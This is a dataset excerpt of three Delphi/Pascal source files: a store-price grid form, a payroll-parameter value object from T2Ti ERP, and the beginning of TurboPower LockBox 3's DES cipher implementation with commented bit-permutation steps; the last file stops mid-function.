text stringlengths 14 6.51M |
|---|
unit uSubStorePrice;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uParentSub, siComp, siLangRT, DB, ADODB, cxStyles, cxCustomData,
cxGraphics, cxFilter, cxData, cxEdit, cxDBData, cxGridLevel, cxClasses,
cxControls, cxGridCustomView, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxGrid;
type
TSubStorePrice = class(TParentSub)
dsInventoryPrices: TADODataSet;
grdPrices: TcxGrid;
grdPricesDB: TcxGridDBTableView;
grdPricesLevel: TcxGridLevel;
dsInventoryPricesStore: TStringField;
dsInventoryPricesStoreID: TIntegerField;
dsInventoryPricesSellingPrice: TBCDField;
dsInventoryPricesCostPrice: TBCDField;
dsInventoryPricesStoreAvgPrice: TBCDField;
dsInventoryPrice: TDataSource;
grdPricesDBStore: TcxGridDBColumn;
grdPricesDBSellingPrice: TcxGridDBColumn;
grdPricesDBCostPrice: TcxGridDBColumn;
grdPricesDBStoreAvgPrice: TcxGridDBColumn;
procedure FormCreate(Sender: TObject);
private
fIDModel : Integer;
fViewCost, fViewAvgCost : Boolean;
protected
sYes, sNo : String;
procedure AfterSetParam; override;
public
procedure DataSetRefresh;
procedure DataSetOpen; override;
procedure DataSetClose; override;
function GetCurrentKey: integer; override;
end;
implementation
uses uDM, uParamFunctions, cxStyleSheetEditor, cxLookAndFeels, uPassword,
uSystemConst, uDMGlobal, cxGridDBDataDefinitions;
{$R *.dfm}
procedure TSubStorePrice.AfterSetParam;
begin
inherited;
fIDModel := StrToIntDef(ParseParam(FParam, 'IDModel'), 0);
fViewCost := (StrToIntDef(ParseParam(FParam, 'ShowCost'), 0) = 1);
fViewAvgCost := (StrToIntDef(ParseParam(FParam, 'ShowAvgCost'), 0) = 1);
grdPricesDBCostPrice.Visible := fViewCost;
grdPricesDBStoreAvgPrice.Visible := fViewAvgCost;
DataSetRefresh;
end;
procedure TSubStorePrice.DataSetClose;
begin
inherited;
with dsInventoryPrices do
if Active then
Close;
end;
procedure TSubStorePrice.DataSetOpen;
begin
inherited;
with dsInventoryPrices do
if not Active then
begin
Parameters.ParambyName('IDModel').Value := fIDModel;
Open;
end;
end;
procedure TSubStorePrice.DataSetRefresh;
begin
DataSetClose;
DataSetOpen;
end;
procedure TSubStorePrice.FormCreate(Sender: TObject);
begin
inherited;
Case DM.fGrid.Kind of
0 : grdPrices.LookAndFeel.Kind := lfStandard;
1 : grdPrices.LookAndFeel.Kind := lfFlat;
2 : grdPrices.LookAndFeel.Kind := lfUltraFlat;
end;
if (DM.fPredefinedStyle.Count > DM.fGrid.Layout) and (DM.fGrid.Layout<>-1) then
TcxGridDBTableView(grdPrices.ActiveView).Styles.StyleSheet := TcxGridTableViewStyleSheet(DM.fPredefinedStyle.Objects[DM.fGrid.Layout]);
Case DMGlobal.IDLanguage of
LANG_ENGLISH :
begin
sYes := 'Yes';
sNo := 'No';
end;
LANG_PORTUGUESE :
begin
sYes := 'Sim';
sNo := 'Não';
end;
LANG_SPANISH :
begin
sYes := 'Sí';
sNo := 'No';
end;
end;
end;
function TSubStorePrice.GetCurrentKey: integer;
begin
Result := dsInventoryPrices.FieldByName('StoreID').AsInteger;
end;
initialization
RegisterClass(TSubStorePrice);
end.
|
{*******************************************************************************
Title: T2Ti ERP
Description: VO relacionado à tabela [FOLHA_PARAMETRO]
The MIT License
Copyright: Copyright (C) 2016 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com
@author Albert Eije (t2ti.com@gmail.com)
@version 2.0
*******************************************************************************}
unit FolhaParametroVO;
{$mode objfpc}{$H+}
interface
uses
VO, Classes, SysUtils, FGL;
type
TFolhaParametroVO = class(TVO)
private
FID: Integer;
FID_EMPRESA: Integer;
FCOMPETENCIA: String;
FCONTRIBUI_PIS: String;
FALIQUOTA_PIS: Extended;
FDISCRIMINAR_DSR: String;
FDIA_PAGAMENTO: String;
FCALCULO_PROPORCIONALIDADE: String;
FDESCONTAR_FALTAS_13: String;
FPAGAR_ADICIONAIS_13: String;
FPAGAR_ESTAGIARIOS_13: String;
FMES_ADIANTAMENTO_13: String;
FPERCENTUAL_ADIANTAM_13: Extended;
FFERIAS_DESCONTAR_FALTAS: String;
FFERIAS_PAGAR_ADICIONAIS: String;
FFERIAS_ADIANTAR_13: String;
FFERIAS_PAGAR_ESTAGIARIOS: String;
FFERIAS_CALC_JUSTA_CAUSA: String;
FFERIAS_MOVIMENTO_MENSAL: String;
//Transientes
published
property Id: Integer read FID write FID;
property IdEmpresa: Integer read FID_EMPRESA write FID_EMPRESA;
property Competencia: String read FCOMPETENCIA write FCOMPETENCIA;
property ContribuiPis: String read FCONTRIBUI_PIS write FCONTRIBUI_PIS;
property AliquotaPis: Extended read FALIQUOTA_PIS write FALIQUOTA_PIS;
property DiscriminarDsr: String read FDISCRIMINAR_DSR write FDISCRIMINAR_DSR;
property DiaPagamento: String read FDIA_PAGAMENTO write FDIA_PAGAMENTO;
property CalculoProporcionalidade: String read FCALCULO_PROPORCIONALIDADE write FCALCULO_PROPORCIONALIDADE;
property DescontarFaltas13: String read FDESCONTAR_FALTAS_13 write FDESCONTAR_FALTAS_13;
property PagarAdicionais13: String read FPAGAR_ADICIONAIS_13 write FPAGAR_ADICIONAIS_13;
property PagarEstagiarios13: String read FPAGAR_ESTAGIARIOS_13 write FPAGAR_ESTAGIARIOS_13;
property MesAdiantamento13: String read FMES_ADIANTAMENTO_13 write FMES_ADIANTAMENTO_13;
property PercentualAdiantam13: Extended read FPERCENTUAL_ADIANTAM_13 write FPERCENTUAL_ADIANTAM_13;
property FeriasDescontarFaltas: String read FFERIAS_DESCONTAR_FALTAS write FFERIAS_DESCONTAR_FALTAS;
property FeriasPagarAdicionais: String read FFERIAS_PAGAR_ADICIONAIS write FFERIAS_PAGAR_ADICIONAIS;
property FeriasAdiantar13: String read FFERIAS_ADIANTAR_13 write FFERIAS_ADIANTAR_13;
property FeriasPagarEstagiarios: String read FFERIAS_PAGAR_ESTAGIARIOS write FFERIAS_PAGAR_ESTAGIARIOS;
property FeriasCalcJustaCausa: String read FFERIAS_CALC_JUSTA_CAUSA write FFERIAS_CALC_JUSTA_CAUSA;
property FeriasMovimentoMensal: String read FFERIAS_MOVIMENTO_MENSAL write FFERIAS_MOVIMENTO_MENSAL;
//Transientes
end;
TListaFolhaParametroVO = specialize TFPGObjectList<TFolhaParametroVO>;
implementation
initialization
Classes.RegisterClass(TFolhaParametroVO);
finalization
Classes.UnRegisterClass(TFolhaParametroVO);
end.
|
{* ***** BEGIN LICENSE BLOCK *****
Copyright 2010 Sean B. Durkin
This file is part of TurboPower LockBox 3. TurboPower LockBox 3 is free
software being offered under a dual licensing scheme: LGPL3 or MPL1.1.
The contents of this file are subject to the Mozilla Public License (MPL)
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Alternatively, you may redistribute it and/or modify it under the terms of
the GNU Lesser General Public License (LGPL) as published by the Free Software
Foundation, either version 3 of the License, or (at your option) any later
version.
You should have received a copy of the Lesser GNU General Public License
along with TurboPower LockBox 3. If not, see <http://www.gnu.org/licenses/>.
TurboPower LockBox is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. In relation to LGPL,
see the GNU Lesser General Public License for more details. In relation to MPL,
see the MPL License for the specific language governing rights and limitations
under the License.
The Initial Developer of the Original Code for TurboPower LockBox version 2
and earlier was TurboPower Software.
* ***** END LICENSE BLOCK ***** *}
unit uTPLb_DES;
interface
uses
SysUtils, Classes, uTPLb_BlockCipher, uTPLb_StreamCipher;
type
TDES = class(TInterfacedObject, IBlockCipher, ICryptoGraphicAlgorithm)
private
function DisplayName: string;
function ProgId: string;
function Features: TAlgorithmicFeatureSet;
function DefinitionURL: string;
function WikipediaReference: string;
function GenerateKey( Seed: TStream): TSymetricKey;
function LoadKeyFromStream( Store: TStream): TSymetricKey;
function BlockSize: integer; // in units of bits. Must be a multiple of 8.
function KeySize: integer;
function SeedByteSize: integer; // Size that the input of the GenerateKey must be.
function MakeBlockCodec( Key: TSymetricKey): IBlockCodec;
function SelfTest_Key: TBytes;
function SelfTest_Plaintext: TBytes;
function SelfTest_Ciphertext: TBytes;
public
constructor Create;
end;
TExpandedKey = array[ 0 .. 15 ] of uint64;
{$IF CompilerVersion < 21}
uint32 = cardinal;
{$IFEND}
// The following routines are exposed only for the sake of D-Unit tests.
procedure IP_Transform( Datum: uint64; var L, R: uint32);
procedure IP_InverseTransform( L, R: uint32; var Datum: uint64);
procedure DES_EncryptBlock(
Plaintext: uint64; var Ciphertext: uint64; const Key: TExpandedKey);
procedure DES_DecryptBlock(
Ciphertext: uint64; var Plaintext: uint64; const Key: TExpandedKey);
procedure ExpandKey( Key: uint64; var Ex: TExpandedKey);
function PC_1( K: uint64): uint64;
function PC_2( L, R: uint32): uint64;
function E_Bit_Selection( R: uint32): uint64;
procedure SetParityBitsOnKey( var K: uint64);
function hasCorrectParity( K: uint64): boolean;
implementation
uses uTPLb_Constants, uTPLb_I18n, uTPLb_StrUtils;
{ Information Resources
=====================
(1) http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
(2) http://www.tropsoft.com/strongenc/des.htm
(3) http://orlingrabbe.com/des.htm
(4) http://en.wikipedia.org/wiki/Data_Encryption_Standard
(5) http://www.itl.nist.gov/fipspubs/fip81.htm
}
{ The DES standard describes a transform of 64 bits to 64 bits, with
the bits numbered from 1 to 64 (see figure 1 of FIBS PUB 46-3).
Somewhat annoyingly it does not define how these 64 bits are encoded
in an 8-bit byte stream, in relation to endien-ness. There are at least
4 different endien encodings possible. This ambiguity in the standard is not
cryptographically significant, but it does impact on implementation.
In LockBox 3, the DES algorithm will use the following endien encoding:
* Bit 1 (designated b1) is encoded in the most significant bit (MSB) of byte address 0.
* Bit 2 (designated b2) is encoded in the 2nd MSB of byte address 0.
* b8 is encoded in the LSB of byte address 0.
* b9 is encoded in the MSB of byte address 1.
* b64 is encoded in the LSB of byte address 7.
}
type
TDESKey = class( TSymetricKey)
private
FNativeKey : uint64;
FExpandedKey: TExpandedKey;
public
constructor Create( NativeKey1: uint64);
constructor CreateFromStream( Store: TStream);
procedure SaveToStream( Stream: TStream); override;
procedure Burn; override;
end;
TDESCodec = class( TInterfacedObject, IBlockCodec)
private
FLockBoxKey: TDESKey;
constructor Create( LockBoxKey1: TDESKey);
procedure Encrypt_Block( Plaintext{in}, Ciphertext{out}: TMemoryStream);
procedure Decrypt_Block( Plaintext{out}, Ciphertext{in}: TMemoryStream);
procedure Reset;
procedure Burn;
end;
function PC_1( K: uint64): uint64;
var
L, R: uint32;
t8: byte;
t32: uint32;
t16: word;
begin
// input K = 57 58 59 60 61 62 63 64 | 49 50 51 52 53 54 55 56 | 41 42 43 44 45 46 47 48 | 33 34 35 36 37 38 39 40 | 25 26 27 28 29 30 31 32 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 1 2 3 4 5 6 7 8
//PC-1 output =
//57 49 41 33 25 17 9
// 1 58 50 42 34 26 18
//10 2 59 51 43 35 27
//19 11 3 60 52 44 36
//63 55 47 39 31 23 15
// 7 62 54 46 38 30 22
//14 6 61 53 45 37 29
//21 13 5 28 20 12 4
// We desire result, such that:
// result.Bytes[0] = 57 49 41 33 25 17 9 1
// result.Bytes[1] = 58 50 42 34 26 18 10 2
// result.Bytes[2] = 59 51 43 35 27 19 11 3
// result.Bytes[3] = 60 52 44 36 63 55 47 39
// result.Bytes[4] = 31 23 15 7 62 54 46 38
// result.Bytes[5] = 30 22 14 6 61 53 45 37
// result.Bytes[6] = 29 21 13 5 28 20 12 4
// result.Bytes[7] = 0 0 0 0 0 0 0 0
// In other words we wish to go from LR to L'R' where:
//L = 25 26 27 28 29 30 31 32 17 18 19 20 21 22 23 24 9 10 11 12 13 14 15 16 1 2 3 4 5 6 7 8
//R = 57 58 59 60 61 62 63 64 49 50 51 52 53 54 55 56 41 42 43 44 45 46 47 48 33 34 35 36 37 38 39 40
//
//L' = 60 52 44 36 63 55 47 39 59 51 43 35 27 19 11 3 58 50 42 34 26 18 10 2 57 49 41 33 25 17 9 1
//R' = 0 0 0 0 0 0 0 0 29 21 13 5 28 20 12 4 30 22 14 6 61 53 45 37 31 23 15 7 62 54 46 38
// Sample data:
//K = (big-endien) 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001
//K = (little-endien) 11110001 11011111 10111100 10011011 01111001 01010111 00110100 00010011
//L = 25 26 27 28 29 30 31 32 17 18 19 20 21 22 23 24 9 10 11 12 13 14 15 16 1 2 3 4 5 6 7 8
// 0 1 1 1 1 0 0 1 0 1 0 1 0 1 1 1 0 0 1 1 0 1 0 0 0 0 0 1 0 0 1 1
//R = 57 58 59 60 61 62 63 64 49 50 51 52 53 54 55 56 41 42 43 44 45 46 47 48 33 34 35 36 37 38 39 40
// 1 1 1 1 0 0 0 1 1 1 0 1 1 1 1 1 1 0 1 1 1 1 0 0 1 0 0 1 1 0 1 1
// Origin. Start with:
L := Int64Rec( K).Lo;
R := Int64Rec( K).Hi;
//L = 25 26 27 28 29 30 31 32 17 18 19 20 21 22 23 24 9 10 11 12 13 14 15 16 1 2 3 4 5 6 7 8
//R = 57 58 59 60 61 62 63 64 49 50 51 52 53 54 55 56 41 42 43 44 45 46 47 48 33 34 35 36 37 38 39 40
// 0 1 1 1 1 0 0 1 0 1 0 1 0 1 1 1 0 0 1 1 0 1 0 0 0 0 0 1 0 0 1 1
// 1 1 1 1 0 0 0 1 1 1 0 1 1 1 1 1 1 0 1 1 1 1 0 0 1 0 0 1 1 0 1 1
// Step 1. Center byte swap.
t8 := LongRec( L).Bytes[2];
LongRec( L).Bytes[2] := LongRec( L).Bytes[1];
LongRec( L).Bytes[1] := t8;
t8 := LongRec( R).Bytes[2];
LongRec( R).Bytes[2] := LongRec( R).Bytes[1];
LongRec( R).Bytes[1] := t8;
//L = 25 26 27 28 29 30 31 32 | 9 10 11 12 13 14 15 16 | 17 18 19 20 21 22 23 24 | 1 2 3 4 5 6 7 8
//R = 57 58 59 60 61 62 63 64 | 41 42 43 44 45 46 47 48 | 49 50 51 52 53 54 55 56 | 33 34 35 36 37 38 39 40
// 0 1 1 1 1 0 0 1 | 0 0 1 1 0 1 0 0 | 0 1 0 1 0 1 1 1 | 0 0 0 1 0 0 1 1
// 1 1 1 1 0 0 0 1 | 1 0 1 1 1 1 0 0 | 1 1 0 1 1 1 1 1 | 1 0 0 1 1 0 1 1
// Step 2. Swap nibbles in each L byte.
L := ((L shl 4) and $F0F0F0F0) or ((L shr 4) and $0F0F0F0F);
//L = 29 30 31 32 25 26 27 28 | 13 14 15 16 9 10 11 12 | 21 22 23 24 17 18 19 20 | 5 6 7 8 1 2 3 4
//R = 57 58 59 60 61 62 63 64 | 41 42 43 44 45 46 47 48 | 49 50 51 52 53 54 55 56 | 33 34 35 36 37 38 39 40
// Step 3. Swap high nibbles between L & R
t32 := (L and $0F0F0F0F) or (R and $F0F0F0F0);
R := (L and $F0F0F0F0) or (R and $0F0F0F0F);
L := t32;
//L = 57 58 59 60 25 26 27 28 | 41 42 43 44 9 10 11 12 | 49 50 51 52 17 18 19 20 | 33 34 35 36 1 2 3 4
//R = 29 30 31 32 61 62 63 64 | 13 14 15 16 45 46 47 48 | 21 22 23 24 53 54 55 56 | 5 6 7 8 37 38 39 40
// Step 4. Swap bytes
t8 := LongRec( L).Bytes[1];
LongRec( L).Bytes[1] := LongRec( R).Bytes[0];
LongRec( R).Bytes[0] := t8;
t8 := LongRec( L).Bytes[3];
LongRec( L).Bytes[3] := LongRec( R).Bytes[2];
LongRec( R).Bytes[2] := t8;
//L = 13 14 15 16 45 46 47 48 | 41 42 43 44 9 10 11 12 | 5 6 7 8 37 38 39 40 | 33 34 35 36 1 2 3 4
//R = 29 30 31 32 61 62 63 64 | 57 58 59 60 25 26 27 28 | 21 22 23 24 53 54 55 56 | 49 50 51 52 17 18 19 20
// Step 5. 2-bit swap
// L = a-->d b
// R = c d-->a
T32 := ((L shr 2) xor R) and $33333333;
R := R xor T32;
L := L xor (T32 shl 2);
//L = 31 32 15 16 63 64 47 48 | 59 60 43 44 27 28 11 12 | 23 24 7 8 55 56 39 40 | 51 52 35 36 19 20 3 4
//R = 29 30 13 14 61 62 45 46 | 57 58 41 42 25 26 9 10 | 21 22 5 6 53 54 37 38 | 49 50 33 34 17 18 1 2
// Step 5. Word swap
t16 := LongRec( L).Lo;
LongRec( L).Lo := LongRec( R).Hi;
LongRec( R).Hi := t16;
//L = 31 32 15 16 63 64 47 48 | 59 60 43 44 27 28 11 12 | 29 30 13 14 61 62 45 46 | 57 58 41 42 25 26 9 10
//R = 23 24 7 8 55 56 39 40 | 51 52 35 36 19 20 3 4 | 21 22 5 6 53 54 37 38 | 49 50 33 34 17 18 1 2
// Step 6. 1-bit swap
// L = a b-->c
// R = c-->b d
T32 := ((R shr 1) xor L) and $55555555;
L := L xor T32;
R := R xor (T32 shl 1);
//L = 31 23 15 7 63 55 47 39 | 59 51 43 35 27 19 11 3 | 29 21 13 5 61 53 45 37 | 57 49 41 33 25 17 9 1
//R = 32 24 16 8 64 56 48 40 | 60 52 44 36 28 20 12 4 | 30 22 14 6 62 54 46 38 | 58 50 42 34 26 18 10 2
// Step 6. byte swap
t8 := LongRec( R).Bytes[0];
LongRec( R).Bytes[0] := LongRec( L).Bytes[1];
LongRec( L).Bytes[1] := t8;
t8 := LongRec( R).Bytes[2];
LongRec( R).Bytes[2] := LongRec( L).Bytes[3];
LongRec( L).Bytes[3] := t8;
//L = 60 52 44 36 28 20 12 4 | 59 51 43 35 27 19 11 3 | 58 50 42 34 26 18 10 2 | 57 49 41 33 25 17 9 1
//R = 32 24 16 8 64 56 48 40 | 31 23 15 7 63 55 47 39 | 30 22 14 6 62 54 46 38 | 29 21 13 5 61 53 45 37
// Step 7. Clear R high byte.
LongRec( R).Bytes[3] := 0;
//L = 60 52 44 36 28 20 12 4 | 59 51 43 35 27 19 11 3 | 58 50 42 34 26 18 10 2 | 57 49 41 33 25 17 9 1
//R = 0 0 0 0 0 0 0 0 | 31 23 15 7 63 55 47 39 | 30 22 14 6 62 54 46 38 | 29 21 13 5 61 53 45 37
// Step 8. Swap nibbles: R[0].LoN <--> R[1].LoN .
t8 := LongRec( R).Bytes[0] and $0F;
LongRec( R).Bytes[0] := (LongRec( R).Bytes[0] and $F0) or (LongRec( R).Bytes[1] and $0F);
LongRec( R).Bytes[1] := (LongRec( R).Bytes[1] and $F0) or t8;
//L = 60 52 44 36 28 20 12 4 | 59 51 43 35 27 19 11 3 | 58 50 42 34 26 18 10 2 | 57 49 41 33 25 17 9 1
//R = 0 0 0 0 0 0 0 0 | 31 23 15 7 63 55 47 39 | 30 22 14 6 61 53 45 37 | 29 21 13 5 62 54 46 38
// Step 9. Swap nibbles: L[3].LoN <--> R[2].LoN . and
// R[2].HiN <--> R[0].HiN
t8 := LongRec( R).Bytes[2];
LongRec( R).Bytes[2] := (LongRec( R).Bytes[0] and $F0) or (LongRec( L).Bytes[3] and $0F);
LongRec( L).Bytes[3] := (LongRec( L).Bytes[3] and $F0) or (t8 and $0F);
LongRec( R).Bytes[0] := (t8 and $F0) or (LongRec( R).Bytes[0] and $0F);
//L = 60 52 44 36 63 55 47 39 | 59 51 43 35 27 19 11 3 | 58 50 42 34 26 18 10 2 | 57 49 41 33 25 17 9 1
//R = 0 0 0 0 0 0 0 0 | 29 21 13 5 28 20 12 4 | 30 22 14 6 61 53 45 37 | 31 23 15 7 62 54 46 38
// ... which is our desired final result!
//L' = 60 52 44 36 63 55 47 39 59 51 43 35 27 19 11 3 58 50 42 34 26 18 10 2 57 49 41 33 25 17 9 1
//R' = 0 0 0 0 0 0 0 0 29 21 13 5 28 20 12 4 30 22 14 6 61 53 45 37 31 23 15 7 62 54 46 38
// Marshal the return.
Int64Rec( result).Lo := L;
Int64Rec( result).Hi := R
end;
function PC_2( L, R: uint32): uint64;
// input L = 25 26 27 28 0 0 0 0 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 | 1 2 3 4 5 6 7 8 (Little-endien)
// input R = 53 54 55 56 0 0 0 0 | 45 46 47 48 49 50 51 52 | 37 28 39 40 41 42 43 44 | 29 30 31 32 33 34 35 36
//PC-2 output =
//14 17 11 24 1 5
// 3 28 15 6 21 10
//23 19 12 4 26 8
//16 7 27 20 13 2
//41 52 31 37 47 55
//30 40 51 45 33 48
//44 49 39 56 34 53
//46 42 50 36 29 32
// Unlike PC-1 in which we marshaled the result by packing the bits,
// for this return, we want to marshal the result into 8 times 6 bits,
// with the result in the low 6 bits of each byte.
// We desire result, such that:
// result.Bytes[0] = 0 0 14 17 11 24 1 5
// result.Bytes[1] = 0 0 3 28 15 6 21 10
// result.Bytes[2] = 0 0 23 19 12 4 26 8
// result.Bytes[3] = 0 0 16 7 27 20 13 2
// result.Bytes[4] = 0 0 41 52 31 37 47 55
// result.Bytes[5] = 0 0 30 40 51 45 33 48
// result.Bytes[6] = 0 0 44 49 39 56 34 53
// result.Bytes[7] = 0 0 46 42 50 36 29 32
// In other words we wish to go from LR to L'R' where:
// L = 25 26 27 28 0 0 0 0 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 | 1 2 3 4 5 6 7 8
// R = 53 54 55 56 0 0 0 0 | 45 46 47 48 49 50 51 52 | 37 28 39 40 41 42 43 44 | 29 30 31 32 33 34 35 36
//
// L' = 0 0 16 7 27 20 13 2 | 0 0 23 19 12 4 26 8 | 0 0 3 28 15 6 21 10 | 0 0 14 17 11 24 1 5
// R' = 0 0 46 42 50 36 29 32 | 0 0 44 49 39 56 34 53 | 0 0 30 40 51 45 33 48 | 0 0 41 52 31 37 47 55
// Ex. 1: $3201073F2F0B3006 = PC_2( $F05599E1, $E0F1CCAA);
// Ex. 2: $25273C36193B1A1E = PC_2( $F0AB32C3, $D0E39955);
// http://orlingrabbe.com/des.htm test data:
// C1D1 = 1110000 1100110 0101010 1011111 1010101 0110011 0011110 0011110 (big-endien compact 56 bits)
// L = 1110000 1100110 0101010 1011111 (big-endien compact 28 bits; 7 bit groups)
// L = 11100001 10011001 01010101 11110000 (big-endien 32 bits; 8 bit groups)
// L = 1111 0000 0101 0101 1001 1001 1110 0001 (little-endien 32 bits; 4 bit groups)
// L = $F05599E1; (Delphi)
// R = 1010101 0110011 0011110 0011110 (big-endien compact 28 bits; 7 bit groups)
// R = 10101010 11001100 11110001 11100000 (big-endien 32 bits; 8 bit groups)
// R = 1110 0000 | 1111 0001 | 1100 1100 | 1010 1010 (little-endien 32 bits; 4 bit groups)
// R = $E0F1CCAA (Delphi)
// K1 = 000110 110000 001011 101111 111111 000111 000001 110010 (big-endien compact 48 bits; 6 bit rows)
// K1 = 00000110 00110000 00001011 00101111 00111111 00000111 00000001 00110010 (big-endien 64 bits; 8 bit rows)
// K1 = 0011 0010 | 0000 0001 | 0000 0111 | 0011 1111 | 0010 1111 | 00001 011 | 0011 0000 | 0000 0110 (little-endien 64 bits; 4 bit rows)
// K1 = $3201073F2F0B3006; (Delphi)
var
b0, b1, b2, b3, b4, b5, b6, b7: byte;
begin
// Sledge-hammer approach. This implementation is not as efficient as it
// could be. The reader is invited to exlore more efficient solutions.
// Please keep me advised.
b0 := LongRec( L).Bytes[0]; // $E1
b1 := LongRec( L).Bytes[1]; // $99
b2 := LongRec( L).Bytes[2]; // $55
b3 := LongRec( L).Bytes[3]; // $F0
b4 := LongRec( R).Bytes[0]; // $AA
b5 := LongRec( R).Bytes[1]; // $CC
b6 := LongRec( R).Bytes[2]; // $F1
b7 := LongRec( R).Bytes[3]; // $E0
// The following code was programmatically generated, deriving from the
// published PC-2 table.
Int64Rec( result).Bytes[ 0] := ((b1 and $04) shl 3) or // DONE
((b2 and $80) shr 3) or
((b1 and $20) shr 2) or
((b2 and $01) shl 2) or
((b0 and $80) shr 6) or
((b0 and $08) shr 3); // Expect = $06
Int64Rec( result).Bytes[ 1] := (b0 and $20) or // DONE
(b3 and $10) or
((b1 and $02) shl 2) or
(b0 and $04) or
((b2 and $08) shr 2) or
((b1 and $40) shr 6); // Expect = $30
Int64Rec( result).Bytes[ 2] := ((b2 and $02) shl 4) or // DONE
((b2 and $20) shr 1) or
((b1 and $10) shr 1) or
((b0 and $10) shr 2) or
((b3 and $40) shr 5) or
(b0 and $01) ; // Expect = $0B
Int64Rec( result).Bytes[ 3] := ((b1 and $01) shl 5) or // DONE
((b0 and $02) shl 3) or
((b3 and $20) shr 2) or
((b2 and $10) shr 2) or
((b1 and $08) shr 2) or
((b0 and $40) shr 6); // Expect = $2F
// 0 0 41 52 31 37 47 55
Int64Rec( result).Bytes[ 4] := ((b5 and $08) shl 2) or // DONE
((b6 and $01) shl 4) or //
((b4 and $20) shr 2) or //
((b5 and $80) shr 5) or //
((b6 and $20) shr 4) or //
((b7 and $20) shr 5); // Expect = $3F bit 55; e=1;g=0
// 0 0 30 40 51 45 33 48
Int64Rec( result).Bytes[ 5] := ((b4 and $40) shr 1) or // DONE
(b5 and $10) or //
((b6 and $02) shl 2) or //
((b6 and $80) shr 5) or //
((b4 and $08) shr 2) or //
((b6 and $10) shr 4); // Expect = $07
// 0 0 44 49 39 56 34 53
Int64Rec( result).Bytes[ 6] := ((b5 and $01) shl 5) or // DONE
((b6 and $08) shl 1) or //
((b5 and $20) shr 2) or //
((b7 and $10) shr 2) or // e=1;g=0
((b4 and $04) shr 1) or //
((b7 and $80) shr 7); // Expect = $01
// 0 0 46 42 50 36 29 32
Int64Rec( result).Bytes[ 7] := ((b6 and $40) shr 1) or // DONE
((b5 and $04) shl 2) or
((b6 and $04) shl 1) or
((b4 and $01) shl 2) or
((b4 and $80) shr 6) or
((b4 and $10) shr 4); // Expect = $32
end;
procedure Roll1( var Value: uint32);
// Does a big-endien roll left 1
// going from C to C' thus:
// C = 25 26 27 28 0 0 0 0 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 | 1 2 3 4 5 6 7 8
// C' = 26 27 28 1 0 0 0 0 | 18 19 20 21 22 23 24 25 |10 11 12 13 14 15 16 17 | 2 3 4 5 6 7 8 9
begin
Value := ((Value shl 1) and $EEFEFEFE) or
((Value and $80808000) shr 15) or
((Value and $00000080) shl 21)
end;
procedure ExpandKey( Key: uint64; var Ex: TExpandedKey);
const
isTwoRolls: array[0..15] of boolean = (
False, False, True, True, True , True , True, True,
False, True , True, True, True , True , True, False);
var
CD: uint64;
C, D: uint32;
i: integer;
begin
CD := PC_1( Key);
C := int64Rec( CD).Lo and $F0FFFFFF ; // Low 28 big-endien bits.
D := ((int64Rec( CD).Lo shr 20) and $000000F0) or // Next 28 big-endien bits.
((int64Rec( CD).Hi shl 12) and $F0F0F000) or
((int64Rec( CD).Hi shr 4) and $0F0F0F0F);
for i := 0 to 15 do
begin
// Example test data from http://orlingrabbe.com/des.htm
// C0 = 1111000011001100101010101111 (big-endien; 28 bits)
// C0 = 11110000110011001010101011110000 (big-endien; 32 bits = 28 + 4 zeroes at the end)
// C0 = 1111 0000 | 1100 1100 | 1010 1010 | 1111 0000 (big-endien; 32 bits = 28 + 4 zeroes at the end)
// C0 = 1111 0000 | 1010 1010 | 1100 1100 | 1111 0000 (litte-endien 32 bits)
// C0 = F 0 A A C C F 0 (litte-endien hex)
// C0 = $F0AACCF0; (Delphi)
// C1 = C0 [big-endien roll left] 1
// C1 = 1110000110011001010101011111 (big-endien 28 bits)
// C1 = 1110 0001 | 1001 1001 | 0101 0101 | 1111 0000 (big-endien 32 bits)
// C1 = 1111 0000 | 0101 0101 | 1001 1001 | 1110 0001 (little-endien 32 bits)
// C1 = $F05599E1; (Delphi)
Roll1( C);
// For test data case and i=0, check C = $F05599E1
Roll1( D);
if isTwoRolls[i] then
begin
Roll1( C);
Roll1( D);
end;
Ex[i] := PC_2( C, D)
// K1 = 000110 110000 001011 101111 111111 000111 000001 110010 (big-endien 48; 6-bit groups)
// K1 = 110010 000001 000111 111111 101111 001011 110000 000110 (little-endien 48; 6-bit groups)
// K1 = 00110010 00000001 00000111 00111111 00101111 00001011 00110000 00000110 (little-endien 64; 8-bit groups = 48 bits + 2MSB zeros)
// K1 = $3201073F2F0B3006; (Delphi)
// Ex[0] = $3201073F2F0B3006 = PC_2( $F05599E1, $E0F1CCAA);
// Ex[1] = $25273C36193B1A1E = PC_2( $F0AB32C3, $D0E39955);
end
end;
procedure IP_Transform( Datum: uint64; var L, R: uint32);
// See IP_InverseTransform for an explaination of how this works.
var
T32: uint32;
T16: word;
T8: byte;
begin
L := Int64Rec( Datum).Lo;
